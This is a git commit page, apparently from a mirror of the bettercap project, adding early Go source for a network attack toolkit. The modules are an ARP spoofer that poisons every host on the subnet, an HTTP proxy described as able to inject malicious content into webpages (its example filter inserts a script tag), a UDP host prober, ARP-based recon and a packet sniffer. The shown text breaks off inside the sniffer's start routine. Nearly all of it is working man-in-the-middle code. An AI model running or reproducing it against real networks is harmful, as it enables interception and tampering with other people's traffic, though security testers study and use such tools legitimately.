mirror of
https://github.com/bettercap/bettercap
synced 2025-08-20 13:33:21 -07:00
yeah i should have done this before, i know
This commit is contained in:
commit
0091ffdbb3
33 changed files with 25678 additions and 0 deletions
BIN
session/modules/.discovery.go.swp
Normal file
BIN
session/modules/.discovery.go.swp
Normal file
Binary file not shown.
214
session/modules/arp_spoof.go
Normal file
214
session/modules/arp_spoof.go
Normal file
|
@ -0,0 +1,214 @@
|
|||
package session_modules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
network "github.com/evilsocket/bettercap/net"
|
||||
"github.com/evilsocket/bettercap/packets"
|
||||
"github.com/evilsocket/bettercap/session"
|
||||
"github.com/malfunkt/iprange"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
type ArpSpoofer struct {
|
||||
session.SessionModule
|
||||
Done chan bool
|
||||
}
|
||||
|
||||
func NewArpSpoofer(s *session.Session) *ArpSpoofer {
|
||||
p := &ArpSpoofer{
|
||||
SessionModule: session.NewSessionModule(s),
|
||||
Done: make(chan bool),
|
||||
}
|
||||
|
||||
p.AddParam(session.NewStringParameter("arp.spoof.targets", "<entire subnet>", "", "IP addresses to spoof."))
|
||||
|
||||
p.AddHandler(session.NewModuleHandler("arp.spoof (on|off)", "^arp\\.spoof\\s+(on|off)$",
|
||||
"Start/stop ARP spoofer.",
|
||||
func(args []string) error {
|
||||
if args[0] == "on" {
|
||||
return p.Start()
|
||||
} else {
|
||||
return p.Stop()
|
||||
}
|
||||
}))
|
||||
|
||||
return p
|
||||
}
|
||||
|
||||
func (p ArpSpoofer) OnSessionStarted(s *session.Session) {
|
||||
// refresh the subnet after session has been created
|
||||
s.Env.Set("arp.spoof.targets", s.Interface.CIDR())
|
||||
}
|
||||
|
||||
func (p ArpSpoofer) OnSessionEnded(s *session.Session) {
|
||||
if p.Running() {
|
||||
p.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
func (p ArpSpoofer) Name() string {
|
||||
return "ARP Spoofer"
|
||||
}
|
||||
|
||||
func (p ArpSpoofer) Description() string {
|
||||
return "Keep spoofing selected hosts on the network."
|
||||
}
|
||||
|
||||
func (p ArpSpoofer) Author() string {
|
||||
return "Simone Margaritelli <evilsocket@protonmail.com>"
|
||||
}
|
||||
|
||||
func (p *ArpSpoofer) shouldSpoof(ip net.IP) bool {
|
||||
addr := ip.String()
|
||||
if ip.IsLoopback() == true {
|
||||
return false
|
||||
} else if addr == p.Session.Interface.IpAddress {
|
||||
return false
|
||||
} else if addr == p.Session.Gateway.IpAddress {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (p *ArpSpoofer) getMAC(ip net.IP, probe bool) (net.HardwareAddr, error) {
|
||||
var mac string
|
||||
var hw net.HardwareAddr
|
||||
var err error
|
||||
|
||||
// do we have this ip mac address?
|
||||
mac, err = network.ArpLookup(p.Session.Interface.Name(), ip.String(), false)
|
||||
if err != nil && probe == true {
|
||||
from := p.Session.Interface.IP
|
||||
from_hw := p.Session.Interface.HW
|
||||
|
||||
if err, probe := packets.NewUDPProbe(from, from_hw, ip, 139); err != nil {
|
||||
log.Errorf("Error while creating UDP probe packet for %s: %s\n", ip.String(), err)
|
||||
} else {
|
||||
p.Session.Queue.Send(probe)
|
||||
}
|
||||
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
|
||||
mac, err = network.ArpLookup(p.Session.Interface.Name(), ip.String(), false)
|
||||
}
|
||||
|
||||
if mac == "" {
|
||||
return nil, fmt.Errorf("Could not find hardware address for %s.", ip.String())
|
||||
}
|
||||
|
||||
hw, err = net.ParseMAC(mac)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("Error while parsing hardware address '%s' for %s: %s", mac, ip.String(), err)
|
||||
}
|
||||
|
||||
return hw, nil
|
||||
}
|
||||
|
||||
func (p *ArpSpoofer) sendArp(addresses []net.IP, saddr net.IP, smac net.HardwareAddr, check_running bool, probe bool) {
|
||||
for _, ip := range addresses {
|
||||
if p.shouldSpoof(ip) == false {
|
||||
log.Debugf("Skipping address %s from ARP spoofing.\n", ip)
|
||||
continue
|
||||
}
|
||||
|
||||
// do we have this ip mac address?
|
||||
hw, err := p.getMAC(ip, probe)
|
||||
if err != nil {
|
||||
log.Debugf("Error while looking up hardware address for %s: %s\n", ip.String(), err)
|
||||
continue
|
||||
}
|
||||
|
||||
if err, pkt := packets.NewARPReply(saddr, smac, ip, hw); err != nil {
|
||||
log.Errorf("Error while creating ARP spoof packet for %s: %s\n", ip.String(), err)
|
||||
} else {
|
||||
log.Debugf("Sending %d bytes of ARP packet to %s:%s.\n", len(pkt), ip.String(), hw.String())
|
||||
p.Session.Queue.Send(pkt)
|
||||
}
|
||||
|
||||
if check_running && p.Running() == false {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (p *ArpSpoofer) unSpoof() error {
|
||||
var targets string
|
||||
|
||||
if err, v := p.Param("arp.spoof.targets").Get(p.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
targets = v.(string)
|
||||
}
|
||||
|
||||
list, err := iprange.Parse(targets)
|
||||
if err != nil {
|
||||
return fmt.Errorf("Error while parsing arp.spoof.targets variable '%s': %s.", targets, err)
|
||||
}
|
||||
addresses := list.Expand()
|
||||
|
||||
from := p.Session.Gateway.IP
|
||||
from_hw := p.Session.Gateway.HW
|
||||
|
||||
log.Infof("Restoring ARP cache of %d targets (%s).\n", len(addresses), targets)
|
||||
|
||||
p.sendArp(addresses, from, from_hw, false, false)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *ArpSpoofer) Start() error {
|
||||
if p.Running() == false {
|
||||
var targets string
|
||||
|
||||
if err, v := p.Param("arp.spoof.targets").Get(p.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
targets = v.(string)
|
||||
}
|
||||
|
||||
list, err := iprange.Parse(targets)
|
||||
if err != nil {
|
||||
return fmt.Errorf("Error while parsing arp.spoof.targets variable '%s': %s.", targets, err)
|
||||
}
|
||||
addresses := list.Expand()
|
||||
|
||||
p.SetRunning(true)
|
||||
|
||||
go func() {
|
||||
|
||||
from := p.Session.Gateway.IP
|
||||
from_hw := p.Session.Interface.HW
|
||||
|
||||
log.Infof("ARP spoofer started, probing %d targets (%s).\n", len(addresses), targets)
|
||||
|
||||
for p.Running() {
|
||||
p.sendArp(addresses, from, from_hw, true, false)
|
||||
time.Sleep(5 * time.Second)
|
||||
}
|
||||
|
||||
p.Done <- true
|
||||
log.Info("ARP spoofer stopped.\n")
|
||||
}()
|
||||
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("ARP spoofer already started.")
|
||||
}
|
||||
}
|
||||
|
||||
func (p *ArpSpoofer) Stop() error {
|
||||
if p.Running() == true {
|
||||
p.SetRunning(false)
|
||||
|
||||
log.Info("Waiting for ARP spoofer to stop ...\n")
|
||||
|
||||
<-p.Done
|
||||
|
||||
p.unSpoof()
|
||||
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("ARP spoofer already stopped.")
|
||||
}
|
||||
}
|
264
session/modules/http_proxy.go
Normal file
264
session/modules/http_proxy.go
Normal file
|
@ -0,0 +1,264 @@
|
|||
package session_modules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/op/go-logging"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/elazarl/goproxy"
|
||||
"github.com/elazarl/goproxy/ext/html"
|
||||
|
||||
"github.com/evilsocket/bettercap/firewall"
|
||||
"github.com/evilsocket/bettercap/session"
|
||||
)
|
||||
|
||||
var log = logging.MustGetLogger("mitm")
|
||||
|
||||
type ProxyFilter struct {
|
||||
Type string
|
||||
Expression string
|
||||
Replace string
|
||||
Compiled *regexp.Regexp
|
||||
}
|
||||
|
||||
func tokenize(s string, sep byte, n int) (error, []string) {
|
||||
filtered := make([]string, 0)
|
||||
tokens := strings.Split(s, string(sep))
|
||||
|
||||
for _, t := range tokens {
|
||||
if t != "" {
|
||||
filtered = append(filtered, t)
|
||||
}
|
||||
}
|
||||
|
||||
if len(filtered) != n {
|
||||
return fmt.Errorf("Could not split '%s' by '%s'.", s, string(sep)), filtered
|
||||
} else {
|
||||
return nil, filtered
|
||||
}
|
||||
}
|
||||
|
||||
func NewProxyFilter(type_, expression string) (error, *ProxyFilter) {
|
||||
err, tokens := tokenize(expression, expression[0], 2)
|
||||
if err != nil {
|
||||
return err, nil
|
||||
}
|
||||
|
||||
filter := &ProxyFilter{
|
||||
Type: type_,
|
||||
Expression: tokens[0],
|
||||
Replace: tokens[1],
|
||||
Compiled: nil,
|
||||
}
|
||||
|
||||
if filter.Compiled, err = regexp.Compile(filter.Expression); err != nil {
|
||||
return err, nil
|
||||
}
|
||||
|
||||
return nil, filter
|
||||
}
|
||||
|
||||
func (f *ProxyFilter) Process(req *http.Request, response_body string) string {
|
||||
orig := response_body
|
||||
filtered := f.Compiled.ReplaceAllString(orig, f.Replace)
|
||||
|
||||
// TODO: this sucks
|
||||
if orig != filtered {
|
||||
log.Infof("%s > Applied %s-filtering to %d of response body.", req.RemoteAddr, f.Type, len(filtered))
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
|
||||
type HttpProxy struct {
|
||||
session.SessionModule
|
||||
|
||||
address string
|
||||
redirection *firewall.Redirection
|
||||
server http.Server
|
||||
proxy *goproxy.ProxyHttpServer
|
||||
|
||||
pre_filter *ProxyFilter
|
||||
post_filter *ProxyFilter
|
||||
}
|
||||
|
||||
func NewHttpProxy(s *session.Session) *HttpProxy {
|
||||
p := &HttpProxy{
|
||||
SessionModule: session.NewSessionModule(s),
|
||||
proxy: goproxy.NewProxyHttpServer(),
|
||||
address: "",
|
||||
redirection: nil,
|
||||
pre_filter: nil,
|
||||
post_filter: nil,
|
||||
}
|
||||
|
||||
p.AddParam(session.NewIntParameter("http.port", "80", "", "HTTP port to redirect when the proxy is activated."))
|
||||
p.AddParam(session.NewIntParameter("http.proxy.port", "8080", "", "Port to bind the HTTP proxy to."))
|
||||
p.AddParam(session.NewStringParameter("http.proxy.address", "<interface address>", `^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$`, "Address to bind the HTTP proxy to."))
|
||||
p.AddParam(session.NewStringParameter("http.proxy.post.filter", "", "", "SED like syntax to replace things in the response ( example |</head>|<script src='...'></script></head>| )."))
|
||||
|
||||
p.AddHandler(session.NewModuleHandler("http.proxy (on|off)", "^http\\.proxy (on|off)$",
|
||||
"Start/stop HTTP proxy.",
|
||||
func(args []string) error {
|
||||
if args[0] == "on" {
|
||||
return p.Start()
|
||||
} else {
|
||||
return p.Stop()
|
||||
}
|
||||
}))
|
||||
|
||||
p.proxy.NonproxyHandler = http.HandlerFunc(func(w http.ResponseWriter, req *http.Request) {
|
||||
if p.doProxy(req) == true {
|
||||
req.URL.Scheme = "http"
|
||||
req.URL.Host = req.Host
|
||||
|
||||
// TODO: p.pre_filter.Process
|
||||
|
||||
p.proxy.ServeHTTP(w, req)
|
||||
} else {
|
||||
log.Infof("Skipping %s\n", req.Host)
|
||||
}
|
||||
})
|
||||
|
||||
p.proxy.OnResponse(goproxy_html.IsHtml).Do(goproxy_html.HandleString(func(body string, ctx *goproxy.ProxyCtx) string {
|
||||
if p.post_filter != nil {
|
||||
body = p.post_filter.Process(ctx.Req, body)
|
||||
}
|
||||
return body
|
||||
}))
|
||||
|
||||
return p
|
||||
}
|
||||
|
||||
func (p HttpProxy) Name() string {
|
||||
return "HTTP Proxy"
|
||||
}
|
||||
|
||||
func (p HttpProxy) Description() string {
|
||||
return "A full featured HTTP proxy that can be used to inject malicious contents into webpages, all HTTP traffic will be redirected to it."
|
||||
}
|
||||
|
||||
func (p HttpProxy) Author() string {
|
||||
return "Simone Margaritelli <evilsocket@protonmail.com>"
|
||||
}
|
||||
|
||||
func (p HttpProxy) OnSessionStarted(s *session.Session) {
|
||||
// refresh the address after session has been created
|
||||
s.Env.Set("http.proxy.address", s.Interface.IpAddress)
|
||||
}
|
||||
|
||||
func (p HttpProxy) OnSessionEnded(s *session.Session) {
|
||||
if p.Running() {
|
||||
p.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
func (p *HttpProxy) Start() error {
|
||||
var http_port int
|
||||
var proxy_port int
|
||||
|
||||
if p.Running() == true {
|
||||
return fmt.Errorf("HTTP proxy already started.")
|
||||
}
|
||||
|
||||
if err, v := p.Param("http.proxy.address").Get(p.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
p.address = v.(string)
|
||||
}
|
||||
|
||||
if err, v := p.Param("http.proxy.port").Get(p.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
proxy_port = v.(int)
|
||||
}
|
||||
|
||||
if err, v := p.Param("http.port").Get(p.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
http_port = v.(int)
|
||||
}
|
||||
|
||||
p.post_filter = nil
|
||||
if err, v := p.Param("http.proxy.post.filter").Get(p.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
expression := v.(string)
|
||||
if expression != "" {
|
||||
if err, p.post_filter = NewProxyFilter("post", expression); err != nil {
|
||||
return err
|
||||
} else {
|
||||
log.Debug("Proxy POST filter set to '%s'.", expression)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if p.Session.Firewall.IsForwardingEnabled() == false {
|
||||
p.Session.Firewall.EnableForwarding(true)
|
||||
}
|
||||
|
||||
p.redirection = firewall.NewRedirection(p.Session.Interface.Name(),
|
||||
"TCP",
|
||||
http_port,
|
||||
p.address,
|
||||
proxy_port)
|
||||
|
||||
if err := p.Session.Firewall.EnableRedirection(p.redirection, true); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
address := fmt.Sprintf("%s:%d", p.address, proxy_port)
|
||||
log.Infof("Starting proxy on %s.\n", address)
|
||||
|
||||
p.server = http.Server{Addr: address, Handler: p.proxy}
|
||||
go func() {
|
||||
p.SetRunning(true)
|
||||
if err := p.server.ListenAndServe(); err != nil {
|
||||
p.SetRunning(false)
|
||||
log.Warning(err)
|
||||
}
|
||||
}()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *HttpProxy) Stop() error {
|
||||
if p.Running() == true {
|
||||
p.SetRunning(false)
|
||||
p.server.Shutdown(nil)
|
||||
log.Info("HTTP proxy stopped.\n")
|
||||
if p.redirection != nil {
|
||||
if err := p.Session.Firewall.EnableRedirection(p.redirection, false); err != nil {
|
||||
return err
|
||||
}
|
||||
p.redirection = nil
|
||||
}
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("HTTP proxy stopped.")
|
||||
}
|
||||
}
|
||||
|
||||
func (p *HttpProxy) doProxy(req *http.Request) bool {
|
||||
blacklist := []string{
|
||||
"localhost",
|
||||
"127.0.0.1",
|
||||
p.address,
|
||||
}
|
||||
|
||||
if req.Host == "" {
|
||||
log.Errorf("Got request with empty host: %v\n", req)
|
||||
return false
|
||||
}
|
||||
|
||||
for _, blacklisted := range blacklist {
|
||||
if strings.HasPrefix(req.Host, blacklisted) {
|
||||
log.Errorf("Got request with blacklisted host: %s\n", req.Host)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
138
session/modules/net_probe.go
Normal file
138
session/modules/net_probe.go
Normal file
|
@ -0,0 +1,138 @@
|
|||
package session_modules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
// "github.com/evilsocket/bettercap/packets"
|
||||
"github.com/evilsocket/bettercap/session"
|
||||
"github.com/malfunkt/iprange"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Prober struct {
|
||||
session.SessionModule
|
||||
}
|
||||
|
||||
func NewProber(s *session.Session) *Prober {
|
||||
p := &Prober{
|
||||
SessionModule: session.NewSessionModule(s),
|
||||
}
|
||||
|
||||
p.AddParam(session.NewIntParameter("net.probe.throttle", "10", "", "If greater than 0, probe packets will be throttled by this value in milliseconds."))
|
||||
|
||||
p.AddHandler(session.NewModuleHandler("net.probe (on|off)", "^net\\.probe\\s+(on|off)$",
|
||||
"Start/stop network hosts probing in background.",
|
||||
func(args []string) error {
|
||||
if args[0] == "on" {
|
||||
return p.Start()
|
||||
} else {
|
||||
return p.Stop()
|
||||
}
|
||||
}))
|
||||
|
||||
return p
|
||||
}
|
||||
|
||||
func (p Prober) Name() string {
|
||||
return "Network Prober"
|
||||
}
|
||||
|
||||
func (p Prober) Description() string {
|
||||
return "Keep probing for new hosts on the network by sending dummy UDP packets to every possible IP on the subnet."
|
||||
}
|
||||
|
||||
func (p Prober) Author() string {
|
||||
return "Simone Margaritelli <evilsocket@protonmail.com>"
|
||||
}
|
||||
|
||||
func (p *Prober) shouldProbe(ip net.IP) bool {
|
||||
addr := ip.String()
|
||||
if ip.IsLoopback() == true {
|
||||
return false
|
||||
} else if addr == p.Session.Interface.IpAddress {
|
||||
return false
|
||||
} else if addr == p.Session.Gateway.IpAddress {
|
||||
return false
|
||||
} else if p.Session.Targets.Has(addr) == true {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (p Prober) OnSessionEnded(s *session.Session) {
|
||||
if p.Running() {
|
||||
p.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Prober) sendUDP(from net.IP, from_hw net.HardwareAddr, ip net.IP) {
|
||||
name := fmt.Sprintf("%s:137", ip)
|
||||
if addr, err := net.ResolveUDPAddr("udp", name); err != nil {
|
||||
log.Errorf("Could not resolve %s.", name)
|
||||
} else if con, err := net.DialUDP("udp", nil, addr); err != nil {
|
||||
log.Errorf("Could not dial %s.", name)
|
||||
} else {
|
||||
// log.Debugf("UDP connection to %s enstablished.\n", name)
|
||||
defer con.Close()
|
||||
con.Write([]byte{0xde, 0xad, 0xbe, 0xef})
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Prober) Start() error {
|
||||
if p.Running() == false {
|
||||
throttle := int(0)
|
||||
if err, v := p.Param("net.probe.throttle").Get(p.Session); err != nil {
|
||||
return err
|
||||
} else {
|
||||
throttle = v.(int)
|
||||
log.Debugf("Throttling packets of %d ms.\n", throttle)
|
||||
}
|
||||
|
||||
p.SetRunning(true)
|
||||
|
||||
go func() {
|
||||
list, err := iprange.Parse(p.Session.Interface.CIDR())
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
|
||||
from := p.Session.Interface.IP
|
||||
from_hw := p.Session.Interface.HW
|
||||
addresses := list.Expand()
|
||||
|
||||
log.Infof("Network prober started, probing %d possible addresses.\n", len(addresses))
|
||||
|
||||
for p.Running() {
|
||||
for _, ip := range addresses {
|
||||
if p.shouldProbe(ip) == false {
|
||||
log.Debugf("Skipping address %s from UDP probing.\n", ip)
|
||||
continue
|
||||
}
|
||||
|
||||
p.sendUDP(from, from_hw, ip)
|
||||
|
||||
if throttle > 0 {
|
||||
time.Sleep(time.Duration(throttle) * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
time.Sleep(5 * time.Second)
|
||||
}
|
||||
|
||||
log.Info("Network prober stopped.\n")
|
||||
}()
|
||||
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("Network prober already started.")
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Prober) Stop() error {
|
||||
if p.Running() == true {
|
||||
p.SetRunning(false)
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("Network prober already stopped.")
|
||||
}
|
||||
}
|
132
session/modules/net_recon.go
Normal file
132
session/modules/net_recon.go
Normal file
|
@ -0,0 +1,132 @@
|
|||
package session_modules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/evilsocket/bettercap/net"
|
||||
"github.com/evilsocket/bettercap/session"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Discovery struct {
|
||||
session.SessionModule
|
||||
|
||||
refresh int
|
||||
before net.ArpTable
|
||||
current net.ArpTable
|
||||
quit chan bool
|
||||
}
|
||||
|
||||
func NewDiscovery(s *session.Session) *Discovery {
|
||||
d := &Discovery{
|
||||
SessionModule: session.NewSessionModule(s),
|
||||
|
||||
refresh: 1,
|
||||
before: nil,
|
||||
current: nil,
|
||||
quit: make(chan bool),
|
||||
}
|
||||
|
||||
d.AddHandler(session.NewModuleHandler("net.recon (on|off)", "^net\\.recon\\s+(on|off)$",
|
||||
"Start/stop network hosts discovery in background.",
|
||||
func(args []string) error {
|
||||
if args[0] == "on" {
|
||||
return d.Start()
|
||||
} else {
|
||||
return d.Stop()
|
||||
}
|
||||
}))
|
||||
|
||||
d.AddHandler(session.NewModuleHandler("net.show", "^net\\.show$",
|
||||
"Show current hosts list.",
|
||||
func(args []string) error {
|
||||
return d.Show()
|
||||
}))
|
||||
|
||||
return d
|
||||
}
|
||||
|
||||
func (d Discovery) Name() string {
|
||||
return "Network Recon"
|
||||
}
|
||||
|
||||
func (d Discovery) Description() string {
|
||||
return "Read periodically the ARP cache in order to monitor for new hosts on the network."
|
||||
}
|
||||
|
||||
func (d Discovery) Author() string {
|
||||
return "Simone Margaritelli <evilsocket@protonmail.com>"
|
||||
}
|
||||
|
||||
func (d Discovery) OnSessionEnded(s *session.Session) {
|
||||
if d.Running() {
|
||||
d.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
func (d *Discovery) Start() error {
|
||||
if d.Running() == false {
|
||||
d.SetRunning(true)
|
||||
|
||||
go func() {
|
||||
log.Info("Network discovery started.\n")
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-time.After(time.Duration(d.refresh) * time.Second):
|
||||
var err error
|
||||
|
||||
if d.current, err = net.ArpUpdate(d.Session.Interface.Name()); err != nil {
|
||||
log.Error(err)
|
||||
continue
|
||||
}
|
||||
|
||||
var new net.ArpTable = make(net.ArpTable)
|
||||
var rem net.ArpTable = make(net.ArpTable)
|
||||
|
||||
if d.before != nil {
|
||||
new = net.ArpDiff(d.current, d.before)
|
||||
rem = net.ArpDiff(d.before, d.current)
|
||||
} else {
|
||||
new = d.current
|
||||
}
|
||||
|
||||
if len(new) > 0 || len(rem) > 0 {
|
||||
// refresh target pool
|
||||
for ip, mac := range new {
|
||||
d.Session.Targets.AddIfNotExist(ip, mac)
|
||||
}
|
||||
|
||||
for ip, mac := range rem {
|
||||
d.Session.Targets.Remove(ip, mac)
|
||||
}
|
||||
}
|
||||
|
||||
d.before = d.current
|
||||
|
||||
case <-d.quit:
|
||||
log.Info("Network discovery stopped.\n")
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("Network discovery already started.")
|
||||
}
|
||||
}
|
||||
|
||||
func (d *Discovery) Show() error {
|
||||
d.Session.Targets.Dump()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *Discovery) Stop() error {
|
||||
if d.Running() == true {
|
||||
d.SetRunning(false)
|
||||
d.quit <- true
|
||||
return nil
|
||||
} else {
|
||||
return fmt.Errorf("Network discovery already stopped.")
|
||||
}
|
||||
}
|
275
session/modules/net_sniff.go
Normal file
275
session/modules/net_sniff.go
Normal file
|
@ -0,0 +1,275 @@
|
|||
package session_modules
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/evilsocket/bettercap/core"
|
||||
"github.com/evilsocket/bettercap/session"
|
||||
"github.com/google/gopacket"
|
||||
"github.com/google/gopacket/layers"
|
||||
"github.com/google/gopacket/pcap"
|
||||
"github.com/google/gopacket/pcapgo"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
)
|
||||
|
||||
type SnifferContext struct {
|
||||
Handle *pcap.Handle
|
||||
DumpLocal bool
|
||||
Verbose bool
|
||||
Filter string
|
||||
Expression string
|
||||
Compiled *regexp.Regexp
|
||||
Output string
|
||||
OutputFile *os.File
|
||||
OutputWriter *pcapgo.Writer
|
||||
}
|
||||
|
||||
func NewSnifferContext() *SnifferContext {
|
||||
return &SnifferContext{
|
||||
Handle: nil,
|
||||
DumpLocal: false,
|
||||
Verbose: true,
|
||||
Filter: "",
|
||||
Expression: "",
|
||||
Compiled: nil,
|
||||
Output: "",
|
||||
OutputFile: nil,
|
||||
OutputWriter: nil,
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
no = core.Red("no")
|
||||
yes = core.Green("yes")
|
||||
)
|
||||
|
||||
func (c *SnifferContext) Log() {
|
||||
log.Info("\n")
|
||||
|
||||
if c.DumpLocal {
|
||||
log.Info(" Skip local packets : " + no)
|
||||
} else {
|
||||
log.Info(" Skip local packets : " + yes)
|
||||
}
|
||||
|
||||
if c.Verbose {
|
||||
log.Info(" Verbose : " + yes)
|
||||
} else {
|
||||
log.Info(" Verbose : " + no)
|
||||
}
|
||||
|
||||
if c.Filter != "" {
|
||||
log.Info(" BPF Filter : '" + core.Yellow(c.Filter) + "'")
|
||||
}
|
||||
|
||||
if c.Expression != "" {
|
||||
log.Info(" Regular expression : '" + core.Yellow(c.Expression) + "'")
|
||||
}
|
||||
|
||||
if c.Output != "" {
|
||||
log.Info(" File output : '" + core.Yellow(c.Output) + "'")
|
||||
}
|
||||
|
||||
log.Info("\n")
|
||||
}
|
||||
|
||||
func (c *SnifferContext) Close() {
|
||||
if c.Handle != nil {
|
||||
c.Handle.Close()
|
||||
c.Handle = nil
|
||||
}
|
||||
|
||||
if c.OutputFile != nil {
|
||||
c.OutputFile.Close()
|
||||
c.OutputFile = nil
|
||||
}
|
||||
}
|
||||
|
||||
type Sniffer struct {
|
||||
session.SessionModule
|
||||
}
|
||||
|
||||
func NewSniffer(s *session.Session) *Sniffer {
|
||||
sniff := &Sniffer{
|
||||
SessionModule: session.NewSessionModule(s),
|
||||
}
|
||||
|
||||
sniff.AddParam(session.NewBoolParameter("net.sniffer.verbose", "true", "", "Print captured packets to screen."))
|
||||
sniff.AddParam(session.NewBoolParameter("net.sniffer.local", "false", "", "If true it will consider packets from/to this computer, otherwise it will skip them."))
|
||||
sniff.AddParam(session.NewStringParameter("net.sniffer.filter", "not arp", "", "BPF filter for the sniffer."))
|
||||
sniff.AddParam(session.NewStringParameter("net.sniffer.regexp", "", "", "If filled, only packets matching this regular expression will be considered."))
|
||||
sniff.AddParam(session.NewStringParameter("net.sniffer.output", "", "", "If set, the sniffer will write captured packets to this file."))
|
||||
|
||||
sniff.AddHandler(session.NewModuleHandler("net.sniffer (on|off)", "^net\\.sniffer\\s+(on|off)$",
|
||||
"Start/stop network sniffer in background.",
|
||||
func(args []string) error {
|
||||
if args[0] == "on" {
|
||||
return sniff.Start()
|
||||
} else {
|
||||
return sniff.Stop()
|
||||
}
|
||||
}))
|
||||
|
||||
return sniff
|
||||
}
|
||||
|
||||
func (s Sniffer) Name() string {
|
||||
return "Network Sniffer"
|
||||
}
|
||||
|
||||
func (s Sniffer) Description() string {
|
||||
return "Sniff packets from the network."
|
||||
}
|
||||
|
||||
func (s Sniffer) Author() string {
|
||||
return "Simone Margaritelli <evilsocket@protonmail.com>"
|
||||
}
|
||||
|
||||
func (sn Sniffer) OnSessionEnded(s *session.Session) {
|
||||
if sn.Running() {
|
||||
sn.Stop()
|
||||
}
|
||||
}
|
||||
|
||||
func same(a, b net.HardwareAddr) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
|
||||
for idx, v := range a {
|
||||
if b[idx] != v {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func (s Sniffer) isLocalPacket(packet gopacket.Packet) bool {
|
||||
local_hw := s.Session.Interface.HW
|
||||
eth := packet.Layer(layers.LayerTypeEthernet)
|
||||
if eth != nil {
|
||||
eth_packet, _ := eth.(*layers.Ethernet)
|
||||
if same(eth_packet.SrcMAC, local_hw) || same(eth_packet.DstMAC, local_hw) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (s *Sniffer) GetContext() (error, *SnifferContext) {
|
||||
var err error
|
||||
|
||||
ctx := NewSnifferContext()
|
||||
|
||||
if ctx.Handle, err = pcap.OpenLive(s.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
|
||||
return err, ctx
|
||||
}
|
||||
|
||||
if err, v := s.Param("net.sniffer.verbose").Get(s.Session); err != nil {
|
||||
return err, ctx
|
||||
} else {
|
||||
ctx.Verbose = v.(bool)
|
||||
}
|
||||
|
||||
if err, v := s.Param("net.sniffer.local").Get(s.Session); err != nil {
|
||||
return err, ctx
|
||||
} else {
|
||||
ctx.DumpLocal = v.(bool)
|
||||
}
|
||||
|
||||
if err, v := s.Param("net.sniffer.filter").Get(s.Session); err != nil {
|
||||
return err, ctx
|
||||
} else {
|
||||
if ctx.Filter = v.(string); ctx.Filter != "" {
|
||||
err = ctx.Handle.SetBPFFilter(ctx.Filter)
|
||||
if err != nil {
|
||||
return err, ctx
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if err, v := s.Param("net.sniffer.regexp").Get(s.Session); err != nil {
|
||||
return err, ctx
|
||||
} else {
|
||||
if ctx.Expression = v.(string); ctx.Expression != "" {
|
||||
if ctx.Compiled, err = regexp.Compile(ctx.Expression); err != nil {
|
||||
return err, ctx
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if err, v := s.Param("net.sniffer.output").Get(s.Session); err != nil {
|
||||
return err, ctx
|
||||
} else {
|
||||
if ctx.Output = v.(string); ctx.Output != "" {
|
||||
if ctx.OutputFile, err = os.Create(ctx.Output); err != nil {
|
||||
return err, ctx
|
||||
}
|
||||
|
||||
ctx.OutputWriter = pcapgo.NewWriter(ctx.OutputFile)
|
||||
ctx.OutputWriter.WriteFileHeader(65536, layers.LinkTypeEthernet)
|
||||
}
|
||||
}
|
||||
|
||||
return nil, ctx
|
||||
}
|
||||
|
||||
func (s *Sniffer) Start() error {
|
||||
